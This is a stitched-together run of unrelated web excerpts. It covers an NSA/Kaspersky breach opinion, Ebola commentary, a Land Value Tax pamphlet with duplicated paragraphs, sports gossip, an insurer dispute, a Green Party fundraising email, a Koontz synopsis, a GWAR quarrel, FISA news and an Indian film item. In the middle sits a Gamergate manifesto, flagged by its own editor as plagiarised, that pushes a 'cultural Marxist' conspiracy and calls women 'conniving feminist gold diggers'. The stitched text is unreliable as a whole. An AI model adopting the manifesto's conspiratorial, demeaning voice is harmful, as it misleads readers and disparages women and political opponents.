In this reporter's opinion, it feels as if someone hacked Kaspersky's product and was able to access files that were being flagged for analysis. If this is the case, then the NSA's third data breach is the fault of an unknown contractor who took files home and a group of criminals who hacked a security vendor.
If Russian intelligence was responsible, then Kaspersky could be nothing more than a pawn in a political chess match. If anything, the WSJ shows just how hard it is for the NSA to control their tools and contractors.
The bad blood between Russia and the U.S. has placed Kaspersky in a crossfire, and today's story won't do them any favors.
As a writer of fiction, I know no editor would tolerate such unmotivated, irrational behaviour—least of all in an educated, intelligent healthcare worker who should absolutely know better. I'd get my manuscript emailed back to me with blinding speed with orders to give my characters a plausible reason for being irrational. Or else.
Reality runs on looser rules than mass-market genre fiction. But I do see a bizarre pattern in cases' behaviour that seems to help spread Ebola.
First we had reports of MSF having to shut a clinic temporarily because local youths were throwing rocks and threatening to break in. Other reports became routine: suspected cases running away from care, families concealing cases, or cases catching taxis right across Liberia from the rural regions to Monrovia.
Well, what can you expect of uneducated, backward folks dealing with a scary new disease? Or so some educated, forward folks might say from a safe distance.
But think of other cases: Patrick Sawyer, a top civil servant, dragging himself onto a plane from Monrovia to Lagos. The exposed Nigerian who then drove to Port Harcourt and started a sub-outbreak. The Guinean student who got himself all the way to Dakar, Senegal before falling seriously ill.
Then we have Thomas Eric Duncan, perhaps not highly educated but still a smart and capable guy who knew what was going on in Monrovia and had been in physical contact with a likely Ebola case. Yet he lied on his exit form, and his relatives in Dallas sheltered him when they should have been phoning for an ambulance.
Now we have a skilled, highly educated healthcare worker among those who'd been in contact with Duncan; yet a few days later she'd blithely hopped a plane to Cleveland and back. What was she thinking?
And it's not just the cases themselves. With a lot of arm-waving, I might persuade my editor that this new disease creates an Ebola Derangement Field, dramatically reducing the reasoning powers of those around the patient.
So West African families shelter their cases instead of seeking help. The Liberian government quarantines the West Point slum, resulting in riots, chaos, and a boy's death. Airport staff and other passengers at Roberts International watch Patrick Sawyer, seriously ill, lying on the floor while he waits for his plane to Lagos. They do nothing. The staff at Texas Presbyterian go blank when Duncan presents with a fever and says "I'm from Liberia."
For that matter, why did the US authorities put on such a brave show of reassurance for day after embarrassing day as they staggered from one debacle to the next? And while tracking scores of HCWs who cared for Duncan, why did no one at Texas Presbyterian or CDC tell those people: "For God's sake, don't travel for the next 21 days."
Although described as a tax, it is not really a tax at all, but a payment for benefits received. It would replace, not add to, existing taxes.
Properly applied, Land Value Tax would support a whole range of social and economic initiatives, including housing, transport and other infrastructural investments. It is an elementary fiscal measure that would go far towards correcting fundamental economic and social ills. The value of every parcel of land in Britain would be assessed regularly and the land value tax levied as a percentage of those assessed values. "Land" means the site alone, not counting any improvements. The value of buildings, crops, drainage or any other works which people have erected or carried out on each plot of land would be ignored, but it would be assumed that all neighbouring properties were developed as at the time of the valuation; other things being equal, a vacant site in a row of houses would be assessed at the same value as the adjacent sites occupied by houses. The valuation would be based on market evidence, in accordance with the optimum use of the land within the planning regulations. If the current planning restrictions on the use were altered, the site would be reassessed. The advantages... A NATURAL SOURCE OF PUBLIC REVENUE. All land makes its full contribution to the Exchequer, allowing reductions in existing taxes on labour and enterprise.
All land makes its full contribution to the Exchequer, allowing reductions in existing taxes on labour and enterprise. A STRONGER ECONOMY . If we tax labour, buildings or machinery and plant, we discourage people from constructive and beneficial activities and penalise enterprise and efficiency. The reverse is the case with a tax on land values, which is payable regardless of whether or how well the land is actually used. It is a payment, based on current market value, for the exclusive occupation of a piece of land. In the longer term, this fundamentally new and different approach to revenue raising will stimulate new business and new employment, reducing the need for costly government welfare.
. If we tax labour, buildings or machinery and plant, we discourage people from constructive and beneficial activities and penalise enterprise and efficiency. The reverse is the case with a tax on land values, which is payable regardless of whether or how well the land is actually used. It is a payment, based on current market value, for the exclusive occupation of a piece of land. In the longer term, this fundamentally new and different approach to revenue raising will stimulate new business and new employment, reducing the need for costly government welfare. MARGINAL AREAS REVITALISED. Economic actitivities are handicapped by distance from the major centres of population. Conventional taxes such as VAT and those on transport fuels cause particular damage to the remoter areas of the country. Land Value Tax, by definition, bears lightly or not at all where land has little or no value, thereby stimulating economic activity away from the centre - it creates what are in effect tax havens exactly where they are most needed.
Economic actitivities are handicapped by distance from the major centres of population. Conventional taxes such as VAT and those on transport fuels cause particular damage to the remoter areas of the country. Land Value Tax, by definition, bears lightly or not at all where land has little or no value, thereby stimulating economic activity away from the centre - it creates what are in effect tax havens exactly where they are most needed. A MORE EFFICIENT LAND MARKET. The necessity to pay the tax obliges landowners to develop vacant and under-used land properly or to make way for others who will.
The necessity to pay the tax obliges landowners to develop vacant and under-used land properly or to make way for others who will. LESS URBAN SPRAWL. Land Value Taxation deters speculative land holding. Thus dilapidated inner-city areas are returned to good use, reducing the pressure for building on green-field sites.
Land Value Taxation deters speculative land holding. Thus dilapidated inner-city areas are returned to good use, reducing the pressure for building on green-field sites. LESS BUREAUCRACY. The complexities of Income Tax, Inheritance Tax, Capital Gains Tax and VAT are well known. By contrast, Land Value Tax is straightforward. Once the system has settled down, landholders will not be faced with complicated forms and demands for information. Revaluation will become relatively simple.
The complexities of Income Tax, Inheritance Tax, Capital Gains Tax and VAT are well known. By contrast, Land Value Tax is straightforward. Once the system has settled down, landholders will not be faced with complicated forms and demands for information. Revaluation will become relatively simple. NO AVOIDANCE OR EVASION. Land cannot be hidden, removed to a tax haven or concealed in an electronic data system.
Land cannot be hidden, removed to a tax haven or concealed in an electronic data system. AN END TO BOOM-SLUMP CYCLES. Speculation in land value - frequently misrepresented and disguised as "property" or "asset" speculation - is the root cause of unsustainable booms which result periodically in damaging corrective slumps. Land Value Taxation, fully and properly applied, knocks the speculative element out of land pricing.
Speculation in land value - frequently misrepresented and disguised as "property" or "asset" speculation - is the root cause of unsustainable booms which result periodically in damaging corrective slumps. Land Value Taxation, fully and properly applied, knocks the speculative element out of land pricing. IMPOSSIBLE TO PASS ON IN HIGHER PRICES, LOWER WAGES OR HIGHER RENTS. Competition makes it impossible for a business producing goods on a valuable site to charge more per item than one producing similar goods on less valuable land - after all, producers and traders at different locations are paying different rents to landlords now, yet like goods generally sell for much the same price and employers pay their workers comparable wages. The tax cannot be passed on to a tenant who is already paying the full market rent.
Competition makes it impossible for a business producing goods on a valuable site to charge more per item than one producing similar goods on less valuable land - after all, producers and traders at different locations are paying different rents to landlords now, yet like goods generally sell for much the same price and employers pay their workers comparable wages. The tax cannot be passed on to a tenant who is already paying the full market rent. AN ESTABLISHED AND PROVEN SYSTEM. Local government variants of Land Value Taxation, known as Site Value Rating, are accepted practice in, for example, Denmark and Australia. Is it fair... Land (unlike goods and services) has no cost of production. If an ample supply of land of equal desirability were available everywhere, there would be nothing to pay for its use. In reality land acquires a scarcity value owing to the competing needs of the community for living, working and leisure space. Thus land value owes nothing to individual effort and everything to the community at large. It belongs justly and uniquely to the community. Conversely, the reward for individual effort can belong only to the one who earns it, to spend, save or give away as he or she may see fit. Because of differences in positional advantages, fertility or natural resources, some locations are more desirable than others. Demand for access to these features gives land its rental value. Land Value Taxation, being assessed on these values, is fair in its incidence. Download a PDF of this document
(Smash cut to Lions fans shaking their heads in exasperation.)
"There will be a tsunami somewhere," Schwartz joked Wednesday from the Senior Bowl, via The Detroit News.
Schwartz said Suh likely would have had to get the activity cleared with the Lions' front office, but the coach didn't sound concerned about his best defensive player risking injury for a reality show.
"You're going into water," he said.
We're wondering if Schwartz has ever seen the end of "Air Force One." That plane was just "going into water," too, Jim.
Some of Suh's teammates told TMZ.com, which originally published pictures of Suh in his swim trunks, they were concerned about the 6-foot-4, 307-pound lineman getting injured plummeting from a high diving board.
Their coach, on the other hand, was in a teaching mood.
"I did take a couple physics courses, but there's something about displacement of water," Schwartz said. "Even if he goes in like those Chinese divers that don't even make a ripple, it's going to move a lot of water."
The point of the show clearly is to watch pseudo-celebrities belly-flop into a pool and potentially get hurt in the process. Whether Suh's reason for joining the circus is to try and mend his damaged public image or just for fun, it's a silly stunt for a guy who's still in the prime of his NFL career.
Children's sent out an announcement Wednesday maintaining that the health insurer is demanding a large double-digit reduction in the payments it makes to Children's for patients insured through Medicaid. Children's claims it currently receives on average only 70 cents per dollar of care it provides for those patients, and cannot afford to absorb more of the cost.
Without a contract in place between Blue Cross and Children's, Blue Cross members covered by a Medical Assistance/Medicaid or MinnesotaCare plan will not have insurance coverage for most services provided at Children's Minnesota hospitals and clinics. If a new agreement is not reached Children's will become an out-of-network provider for all Blue Cross health plans on July 5, 2017.
Last year 70,000 unique patient visits to Children's hospitals and clinics were covered by Blue Cross.
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"The reductions to Medical Assistance/Medicaid reimbursement rates proposed by Blue Cross would be financially crippling for Children's," said Todd Ostendorf, chief financial officer, Children's Minnesota. "Accepting the proposed rates would threaten the viability of Children's Minnesota and unfairly compromise the quality of care our patients and their families have come to expect from us. Unfortunately, the only option we felt we had was to terminate the contract and appeal to Blue Cross for reasonable reimbursement rates."
In the next two weeks, Children's Minnesota will be mailing information to families insured through Blue Cross to make them aware that unless an agreement is reached, Children's Minnesota will not be an in-network provider for Blue Cross members.
For additional information, current Blue Cross customers can contact Blue Cross at the customer service phone number found on the back of their member ID cards.
Editor’s Update (1/8/15): It has come to my attention that part of this article may have heavily borrowed from a 1966 anti-communism article published by the John Birch Society. I’m currently investigating and will provide a second update within a day or two.
Editor’s Update 2 (1/10/15): The author of this article, Allan Quatermain, has not gotten back to me about the similarities his article shares with one published by the John Birch Society. After some investigation, I’ve concluded that deliberate borrowing has indeed taken place. This is at at odds with standard journalistic practice that we follow here at Reaxxion. Therefore we will no longer accept articles from Mr. Quatermain, and all his past work will be reviewed. Please contact our ethics officer at [email protected] if you suspect plagiarism from other authors. —Roosh
As 2015 grinds into gear, Gamergate is still proving its relevance both in the gaming world and to western society as a whole. We at Reaxxion are proud to play a leading part in helping #gamergate get their message out there and we will stand by the movement all the way. We are uniquely positioned, due to our brother site Return of Kings, to bring about support for #gamergate from a wider community, not just gamers, and we will strive to be the leading voice for the movement.
What is gamergate?
If you were an extraterrestrial arriving on earth today, an adequate description would take around one hundred thousand pages to go through it all, but I will try to give you a shorter and adequate description from an older gamers perspective. In Africa where I live, #gamergate has almost no relevance whatsoever. This is most likely because we are not part of the western world and because we have real social issues that do not allow for conjured up pseudo issues such as those raised by western SJW’s to have any time in our public discourse. As a businessman involved in media and marketing all over the world, I have developed my own perspectives on this topic.
#Gamergate started in the United States in August 2014. It’s a grass roots consumer rights affiliation of people, men and women of good character, humane consciences, and principled beliefs fighting corrupt practices by individuals and media companies who have co-opted the marketing functions of their rather expensive hobby.
Gamergaters are striving to set an example of consumer resistance to unwanted interference through dedication, integrity and purpose, in word and deed, which our children’s children will be able to follow without hesitation. Members of this movement are of all races, colours, creeds and sexual orientations. We are of all political beliefs, all social, economic and educational levels. We are individualists who disagree among ourselves about many things but we are firmly united in devotion to those beliefs which we do hold in common.
We have voluntarily joined together to combat more effectively the evil forces which now threaten our freedoms, our hobby, our way of life and the civilization we love. We encourage our members to climb up the mountain to regain the individual freedom and responsibility that has been lost in the past few decades. We wish to restore with brighter lustre and deeper conviction our right to exist as gamers with our own values and ennobling aspirations upon which our community has been built.
The forces that gamergate is up against
The long range objectives of #gamergate has been summarized as less outside interference, more responsibility in the gaming media and greater accountability of game publishers and so of course we have collided with cultural Marxists, for these purposes bring us immediately into conflict with the SJW’s on two levels.
On the Ideological plain, the SJW’s seek always and everywhere to bring about more interference, less individual responsibility and an amoral way of doing things. On the plain of action, until the SJW’s can be stopped from their subjugation of all western society, there will be no opportunity for us to move forward at all. We have undertaken therefore to play a leading role in slowing down, stopping and eventually routing the SJW interlopers.
We realise that the one thing that the SJW’s cannot withstand is the light of day on their activities. What cultural Marxists fear is exposure. For this reason we do all that we can to bring to our fellow people more knowledge and a better understanding of the methods, the progress. and the menace of the SJW machine. In this undertaking we have become a new form of opposition to the SJW’s which they have never faced before in any of the vast areas they have already taken over.
The SJW’s, grasping this fact very early on, set out destroy us as a movement. The western mainstream media help the SJW’s by laying down the line for the faithful. There has not been one mainstream media publication which has not been used to attack #gamergate.
Their method of attack
The SJW’s got the point and have been carrying out the indicated program with increasing furor ever since. Of course the cultural Marxists follow Lenin’s method of advancing SJW agendas by non SJW hands. They could never impose their tyrannical rules on the whole population which they repeatedly claim to represent in all western countries unless they inveigle enough non SJW and even anti SJW support among the people that will do their dirty work for them.
They deceptively appeal to every motivation in human character, from sordid selfishness, to practical politics, to misguided idealism. They have gradually beguiled a lot of very good people into joining the attack on us, until the maligning of #gamergate has probably exceeded in intensiveness and extensiveness that faced by any other organization in all of western history. In general our defamers do not even try to refute the facts on which we focus on attention, they merely call us names for bringing these facts to light.
The allied cause
We stirred up the major advertisers on SJW supporting sites. This was inevitable. We simply tried to give the technology firms connected to us as consumers better information, understanding, and we hope even inspiration, which will enable them to better connect to their customers. Education is our total strategy and truth is our only weapon. Our gigantic task is to create understanding.
Members of #gamergate are extremely hard working, highly motivated, and always earnestly determined on behalf of our cause. Our power through spending is out of all proportion to our numbers so the cultural Marxists naturally raise as much clamour as they can against the very existence of gamers as the stranglehold on them steadily increases. Even mainstream gaming developers feel increasing pressure to improve their images by joining in the chorus of attacks on #gamergate (think of the traitorous Ubisoft, the capricious Steam, etc.) though very few of these gaming companies seem to realise the extent to which they run interference on behalf of the SJW’s.
A related part of the mammoth and many faceted campaign which the SJW’s have now generated against us is the deliberate and widespread attempt to associate #gamergate in the public mind with misogyny and hate. Nothing could be further from the truth and we have female members who are working hard and courageously with us through platforms such as #notyourshield to show the western world how women are being used today by the SJW’s to serve SJW agendas. We do not associate with any group or organization which tries to divide gamers along any lines.
Gamergate’s accomplishments
So now, you may well ask, what have we accomplished?
We have established an international educational army, this army is fighting with facts as its only weapons and the whole army knows that to be better informed is to be better armed. We have certainly helped to re-awaken, restore and strengthen in hundreds of thousands of gamers some basic loyalties, loyalty to brand, loyalty to culture and loyalty to each others as gamers. The SJW’s know that they simply must destroy all three of these foundations of our subculture, for they can never operate peacefully without constant resistance in any place or time where there is loyalty to anything besides the SJW agenda.
We were the first group in the western world to start calling widespread attention to the international SJW plot to discredit, demoralise and destroy western society. Our members have distributed literally millions of messages explaining what the SJW’s are doing in this field and why. We have worked steadily to expose SJW agendas and conniving feminist gold diggers; indeed various feminists are beginning to distance themselves from the SJW causes as the result of our actions.
Through these and many other extensive means and methods, we believe #gamergate has done more than all other groups to awaken the western world to what is being done to them in the name of social justice which is very similar to what the communists did all over the world under the equally idealistic sounding pretexts of re-education.
While we certainly do not want to deceive ourselves or anybody else about or accomplishments, we believe we have been successful in bogging down this very strategic part of the whole SJW program. We are certainly doing our part, not just for gamers but for all people in all countries under the onslaught of SJW’s and their enablers, to shed light the nature of this tragic and criminal deception. The historical facts clearly reveal that the SJW cohort reaches through every conceivable body it can utilise in any way to promote its ends and such ended up involving itself in #gamergate where we have insisted from the beginning that we are fighting corruption in the gaming media and nothing else.
I believe that the reason #gamergate has attracted so much support is that it is simply appears to be the most effective and indeed the only group through which they can join in an international movement to learn the truth about the SJW menace and then take some positive, concerted action to prevent its spread.
What we have accomplished above all else is to keep #gamergate alive and growing as a rallying point for the increasing number of informed and loyal members. Our members have achieved this result through staggering amounts of labour and sacrifice despite unceasing harassments and distortions of their actions and pressure amounting in many instances to serious persecution. We intend to keep on going, for we believe the incredibly vicious and massive attacks on #gamergate have been due in any final analysis, not to our mistakes and failures, but to our successes and our progress.
Which side of this divide are you really on?
I cannot provide the full basis for that choice right here, but let’s put down a few point by point comparisons of #gamergate with their SJW enemies.
1. The SJW’s seek unlimited power for themselves over the entire human race, no exceptions. Gamergate does not want any power at all over anybody, either now or in the future. It seeks to make progress towards its goals only by information and education.
2. The SJW’s believe that any means may be used to attain their ends. Gamergate has strongly come out against any sort of improper means to achieve anything for even the noblest of aims.
3. The SJW’s, following Marxist doctrine, always accuse their enemies such as gamergate of exactly those abhorrent behaviours which the SJW’s themselves are indulging in. Gamergate does bear false witness against anybody about anything.
4. The SJW’s believe that words should be used to conceal thoughts and that promises are made to be broken. Gamergate believes that simple truth is the very core of their struggle and that when we can persuade enough people to make truth the prerequisite to all statements and the accepted guide to all actions, we will be making the world a better place.
5. SJW’s operate in secrecy and darkness, think about the gamejournopros list as an example. Gamergate does everything it can to make as many of its activities open to public discourse, even the discourse of those who would position themselves as our enemies.
6. SJW’s seek to break down all morality, all tradition and to destroy the whole spiritual and aesthetic sense of values which we have created as both as gamers and society as a whole. #gamergate believes that irreverent continuity in gaming is of extreme importance with progress being achieved through the advancement of technology and not social issues.
7. SJW’s, through Marxist indoctrination believe in hate, their doctrines preach that people must learn to hate and that only through spreading sufficient hatred can the SJW’s succeed in controlling the discourse. #gamergate hates nobody, not even the SJW’s, but only the evil that they do. We believe that goodwill amongst gamers should be a fundamental motivation in all interactions.
The future of gamergate
We must oppose secrecy with open-handedness. We must publish to the world our beliefs, our purposes and our methods as fully as the SJW’s conceal and disguise their own. We must oppose conspiracies not with counter conspiracy but with exposure, information and education. We must oppose falsehoods with truth, foul means with good means, immorality and amorality with good spirited dedication, ruthlessness and chaos with stability and tradition, relativity with absolutes, pragmatism with deeper purposes and cruelty and hatred with compassion and fellowship.
By now it should be clear that #gamergate is no ephemeral organization of disorganized basement dwellers with no loyalties. We are not going through a series of pert emotions but are building very solidly for decades to come and we means business every step of the way.
So, for withstanding the stresses and strains of internal differences and external animosities, for the building of morale and loyalty and the feeling of unified purpose and closely knit strength, for effective functioning in periods of crisis and a permanence of high dedication, for these and many other reasons, gamergate moves forward at all levels without authoritative control. The fear of tyrannical oppression of the individual and other arguments against the authoritative agenda in the form of SJW attacks have little bearing on the case of a voluntary organization where authority can only be obtained through persuasion. What little authority they do have is overweighed by the advantages of time and positive direction of the gamergates energies, especially for the fight against SJW’s which has become the primary task.
SJW agitators could have bogged us down in interminable disagreements, schisms and feuds before we ever became seriously effective; in fact it would be easy to show from actual experiences how #gamergate would have been torn to pieces and virtually destroyed long before now had it not been ability of the members to protect ourselves and make use of technology to stop the undermining efforts of the very professional powers that be in the media.
We started out trying to expose the truth of corrupt practices within the gaming media, yet it is the SJW that engages so much of our attention today. Stopping the SJW’s and destroying their plots or at least breaking their grip on western society and shattering their power not only must occupy the most important spot in all of our thinking, it is the looming danger which should determine our thought today about almost everything else and most of our actions too for the foreseeable future.
Unless we can win this battle, the war for a better world will be lost and we will all be silenced, this is not rhetoric or exaggeration, it is a plain statement of the stark danger that is rapidly closing in on free speech right now.
I ask in all sincerity, if gamergate does not play the leading role in stopping the SJW’s, just who is there to do so? The SJW’s pretend to believe and probably some of them do believe that social justice causes are the moral outrage wave of the future. We believe that the world is now tired of so much strife and immorality, cruelty and confusion, doubt and disinformation that goes hand in hand with SJW issues.
We believe that western civilization may be about ready to arise, shake of this Marxist tyranny and move forward again to a more enlightened and humane existence. We are doing everything in our power by all honourable means to create the understanding that will produce this result.
If you have what it takes in character and in courage, then by all means join us now in our epic undertaking. With the added effort of people like yourself and with the help of ethical media web sites like Reaxxion, we will break this immense criminal conspiracy and help return a world gone crazy to sanity once again.
Many in Ward 2 are fed up with the Democrats failing to stand up for their community and have shown with their votes that they are willing to break with the Democratic Party. Dozens have already signed up to work for Elston. If he wins the November 7 election, he will not only be the first Green to defeat a Democrat in a partisan Missouri race, but (likely) the first black Green to defeat a Democrat anywhere.
The Democratic Party is a well-funded and well-oiled machine. Elston cannot win without support from Greens across the US as well as his neighbors. You do NOT have to live in St. Louis to help make this a victory. Elston's web site is still being developed and added to.
Please return this email and indicate which of the following you can do to help Elston win:
Can you donate $1000, $500, $250, $100, $50 or $25? [indicate which].
If you are in St. Louis, we very, very much need you to help canvass in Ward 2 on Saturday, Oct 14, Oct 21, Oct 28 &/or Nov 4.
If you are not in St. Louis, do you live close enough to come to help canvass either of the critical Saturdays before the election: Oct 28 or Nov 4? [We can find you a place to spend the night.] * Can you search websites for information needed for the campaign? * Can you assist Elston in drafting electronic responses to queries?
Do you know state or local Green Parties you could send information to about Elston's campaign? If so, what group[s]?
Can you help transcribe TV interviews with Elston?
Elston is campaigning on two levels. First, he is focusing on the “bread and butter” issues that he knows are important to Ward 2 by pointing out that strong and effective leadership is necessary to obtain City funding for parks, making homes energy efficient, clean streets and allies and other services. The Democrat ward bosses are content to let Ward 2 targeted funds slip away. Second, Elston emphasizes the Green Party belief that it is necessary to stop endless wars of the US in order to devote finances essential for needs of US cities, including schools, libraries and youth programs.
Elston needs your support to win. As the election is only a few weeks away, please get in touch as soon as you can.
For information call 314-727-8554 or visit:
Synopsis [ edit ]
Frank Pollard wakes up in an alley at night, filled with confusion and fear. He knows nothing but his name, and that he must escape fast, or else he will be killed. Pursued by a mysterious assailant, Frank barely escapes with his life.
Every time he goes to sleep, he wakes up to find evidence of bizarre nighttime travels which he cannot remember. Afraid of his own actions, Frank enlists the help of husband-wife security team, Bobby and Julie Dakota. At first, the case merely seems absurd, but as they track deeper into the life and past of the mysterious Frank Pollard, the Dakotas uncover an increasingly bizarre and dangerous world threatened by a madman who thirsts for blood.
It is ultimately revealed that Frank Pollard is the brother to the mysterious madman as well as twin sisters. They were born from a mother who was the product of an incestuous relationship. Her father was a hallucinogenic drug-abuser and her mother was his sister. She is a hermaphrodite and impregnated herself with her own seed. As a result of this compounded inbreeding, Frank and his siblings developed unusual psychic abilities. Frank, wanting a normal life, tries to escape from his family while being pursued by his brother who seeks to either bring him back or kill him, and nothing will stand in his way. After a message from Julie's younger brother, who has Down Syndrome and possesses minor psychic ability himself, Bobby, Julie, Frank and his family begin speeding into a final confrontation.
Powers [ edit ]
Frank Pollard
Suffering from amnesia for the majority of the novel, Frank's powers are not under his control until he regains his memory towards the end of the story. His sole power is the ability to Travel - instantly teleport himself to seemingly anywhere in the universe. Most of his Travelling is on Earth however there are occasions it's evidenced he can Travel to far off worlds, although his past experience on these worlds is never explained in the narrative. When Frank is about to teleport, a strange flute-like noise is heard. In addition, anything he is touching will teleport with him, as was with the hospital bed guard rail that was ripped from the bed when he traveled.
There are subtle indications he's also telepathic but like his powers of teleportation these are untrained and of no practical use.
Candy Pollard
Frank's brother is the most powerful of all the offspring. He possesses the same ability as Frank to Travel albeit with considerably more skill and control.
Candy also has psychometric skills, and is able to touch objects and people to learn about their previous actions and current whereabouts, which he uses to pursue Frank.
His final ability is the Blue Light which is some form of telekinetic energy discharge signified by a blue aura when he's channelling it. Able to destroy objects and buildings but unable to affect living tissue, he uses this power to both destroy a car Frank is fleeing in and level the nursing home that Julie's psychic brother is living in.
There are indications that he also has latent telepathic abilities but these are undeveloped, and he only uses them on a limited basis.
Violet and Verbina Pollard
Frank and Candy's identical twin sisters form a sort of hive mind, each of the pair knowing what the other is thinking, seeing, and sharing their physical sensations. They share this mind-link with the dozens of cats that occupy their home, and are able to extend their senses to any other animals they reach out to. Only humans are immune to the sisters' mental influence, which leads to their inability to identify with anyone other than themselves and their pets. Of the pair, only Violet is able to speak; Verbina is shy and withdrawn to the point of Autism, communicating only through her mental bond with Violet.
While not strictly violent or necessarily vicious, the Pollard twins possess the moral ambivalence of wild animals. They crave wild and evocative sensation, and will often share the minds of both predator and prey animals simultaneously, feeling the thrill of the hunt and the pain of death at the same moment. When one of their pets dies, Violet, Verbina, and the remaining cats feed on the corpse, so that they'll all remain together forever.
Movie adaptation [ edit ]
According to Koontz in the afterword of a 2004 paperback reissue, rights for a movie version of The Bad Place were purchased by Warner Bros. in 1990. Actor Don Johnson and his wife Melanie Griffith were looking to play the leads of Bobby and Julie Dakota. Koontz wrote the screenplay and it drew considerable buzz at the studio until the then studio chief deemed it "confusing." The studio refused to sell the script back to Koontz.[1]
Point: Purgason. This isn’t an equality issue. I’ve known people who can get insanely fucked-up before a show and still perform perfectly, and I’ve known people who have to keep the partying to a minimum until after the show. Performers need to know their limits, because at the end of the day, the show is for the fans. Period.
Original story follows:
Oy.
Yesterday, GWAR announced that while they’d be retaining the character of Vulvatron, they’d be doing so without Kim Dylla, the musician who has been playing the role since last September. As part of the band’s statement, Brent Purgason — better known to GWAR fans as Pustulus Maximus — said that “Kim did a great job, but we wanted to go a different direction with the Vulvatron character,” and assure fans that “We respect Kim’s talent without question” and “There is no ill will, no acrimony, no drama.”
And then Dylla took to Facebook and created some drama:
Although it would appear that his comments have since been deleted, Metal Insider reports that Purgason soon responded to Dylla’s claim, leading to a not-very-friendly exchange between the two:
Purgason: I did tell her in person. January 5th of this year. I’m trying to stay out of this thread but I don’t like being villainized when that’s not the truth. Dylla: No one told me they were getting someone else to play the character I created which is why I am disappointed with the way this was handled. I was told my character was not going to be used for a while and things were going in a different direction with the storyline so take a year off but I’d be welcome back at gigs in the future if they were right for the character. Those are two wholly different things. Purgason: Yeah but this thread isn’t about telling the world about a misunderstanding. This is up here to make us look like dicks. DC comics didn’t call need to call Adam West to tell them they were using Michael Keaton for a new movie. I told you it we never close the door to a chance that old characters could come back to reprise their role for a special event but we were going to continue the group without you. If they fired me they would have a new Pustulus before my amp got cold and that’s the way it is. You and I don’t own the characters we played. Dylla: No but it is respectful to tell you personally before telling the internet and the fans if they were gonna do that. I don’t think you guys are dicks but I do absolutely think you acted like dicks in the way you handled this statement. Anyone would be upset about being treated this way and you can’t expect me not to be. Purgason: We let you go in Jan. You were telling fans misinformation about the next fall tour under the pretense that you were still a band member. How is that respectful to us? We had to clarify that. We didn’t make a big stink about it when it happened because it wasn’t necessary. Many people have played many different characters and their entrances and exits weren’t publicized because the band is not about that. It’s been 5 months and none of us said anything about you being let go. You didn’t have to keep this facade up the whole time. You could have let the fb world know then but now it looks to me like you want to drag this out. Sorry you feel that way but no one here threw you under the bus. GWAR created Vulvatron so yeah, that is my point. Dylla: I designed that costume with Matt, came up with the name, invented everything about the character and the voice because you told me to run with it. It belongs to Gwar but I think you’d at least respect me enough to not put someone else out there in my baby without telling me to my face.
So, like I said: oy.
This doesn’t feel like one of those situations with a clear-cut “good guy” and “bad guy” — it seems like a genuine misunderstanding in which Dylla didn’t comprehend when she was let go from the band that they’d still be using the character she created or helped create.
That being said…
Dylla’s initial post was quite misleading, and it does make it sound as though she wasn’t told she was out of the group to her face (and it’s worth noting that she does not deny that Perguson did tell her she was out of the group in January).
Insofar as whether or not it’s “cool” of the band to keep using Vulvatron without her — well, yeah, you could argue it’s not cool, but you can’t deny Purgason’s point that she doesn’t own the character. His Batman/DC comparison is an apt one; another might be Saturday Night Live, where any character or segment (like, say, “Weekend Update”) created during a comedian’s tenure with the show (as a performer or as a writer) is automatically the property of SNL. You could assert that this is unfair, but that’s really a whole other conversation, because this is an intellectual property dispute, and, presumably, she signed some kind of contract at some point making it clear that GWAR would retain ownership of her work. And, again, her initial post didn’t even make it clear that this was the source of her upset… it made sound like the internet knew of her firing before she did, which was clearly not the case.
I also think Purgason makes a valid point about the use of characters in GWAR in general: the band has not often announced when a new musician takes over a character, and the band’s most famous characters have only been retired when the musician playing them dies (e.g., Dave Brockie and Cory Smoot).
“The president should not be above the rule of law, nor should the telecom companies who supported his quest to spy on American citizens,” he said. “I thank all my colleagues who joined me in fighting and winning a stay in the rush to grant retroactive immunity to the telecommunications companies who may have violated the privacy rights of millions of Americans.”
In August, Congress hastily approved expanded powers for the security agency in a vote that many Democrats said they regretted. That temporary legislation expires on Feb. 1, and the White House had pushed the Senate to approve legislation this week — including the much-sought immunity for the phone carriers — so that an agreement could be worked out in negotiations with the House. The House approved a wiretapping measure of its own last month that did not include immunity.
Administration officials expressed disappointment with the Senate delay in dealing with the wiretapping issue.
“It’s very disappointing,” Tony Fratto, a White House spokesman, said. “There will be very little time to accomplish this when Congress returns in January. Each day of delay brings us closer to reopening a dangerous intelligence gap that we closed last summer.”The decision by Mr. Reid to put off the vote was surprising because it came just hours after the White House’s push for immunity for the phone carriers had cleared an initial procedural hurdle Monday.
By a vote of 76 to 10, the Senate agreed earlier in the day to begin debating the question of whether to provide legal immunity to the phone carriers.
Even some Democrats who oppose the White House’s immunity plan voted to support the motion Monday because they said it was important for the Senate to resolve the issue one way or the other after weeks of debate.
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The vote appeared to head off, at least for now, threats by some opponents of immunity, including Senator Dodd, to delay a vote through a filibuster.
Ultimately, the Senate is likely to consider three different approaches: a plan by the Senate Intelligence Committee to immunize the phone carriers from liability; a plan by the Judiciary Committee to leave out immunity; and an alternative plan by Senator Arlen Specter, Republican of Pennsylvania, to indemnify the companies from legal liability by making the government responsible for any damages instead. Senator Dianne Feinstein, Democrat of California, threw a fourth option into the mix Monday by proposing that the foreign intelligence court, the FISA court, be allowed to decide whether individual companies should get immunity.
Even if the Senate does approve the immunity provision, the fight will not be over. The House last month approved a proposal that left out immunity for the companies, and the two chambers would have to meet to reach an agreement.
Chennai: The most talked about south Indian director in Indian cinema is Mani Ratnam. And the news from Kollywood is that Mani is back to work, after a 18 month break. Last Monday (6 October) the elusive director started his new untitled bilingual film in Tamil and Malayalam in a hush-hush manner in Chennai.
At a time when directors tom-tom everything including future projects through social media, Mani remains secretive and goes about his work quietly.
In fact the media came to know about Mani’s new film only when his cameraman, the legendary PC Sreeram Tweeted, "Last day of shoot for Shamitabh tonight, will be starting Mani film from October 6. I am walking the path with the force which guides me."
Sreeram and Mani Ratnam are teaming up for this new film after a gap of 14 years. They last worked together in the Madhavan-Shalini starrer Alaipayuthey (2000)
Mani’s new film produced by his own banner 'Madras Talkie's will have Dulquer Salmaan (Malayalam superstar Mammootty’s son) and Nitya Menen in the lead, with Prakash Raj playing a pivotal role. Evergreen music director AR Rahman and cinematographer PC Sreeram are part of the core technical team. Now Mani is trying to recreate his old magic, by going back to his roots.
His strength has always been in urban love stories that basically cater to multiplex audiences. The grapevine has it that Mani’s new film is set against the backdrop of two metros: Chennai and Mumbai.
